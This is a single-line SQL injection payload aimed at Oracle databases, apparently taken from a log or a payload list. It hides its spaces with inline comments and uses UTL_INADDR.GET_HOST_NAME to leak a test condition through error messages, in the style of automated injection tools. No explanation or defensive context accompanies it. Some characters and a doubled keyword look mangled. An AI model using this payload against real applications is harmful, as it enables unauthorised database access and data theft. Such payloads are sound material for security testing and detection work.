1′ AND AND/**/10251=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||’~’||(SELECT/**/(CASE/**/WHEN/**/(10251=10251)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||’~’||CHR(126)/**/FROM/**/DUAL))– – 1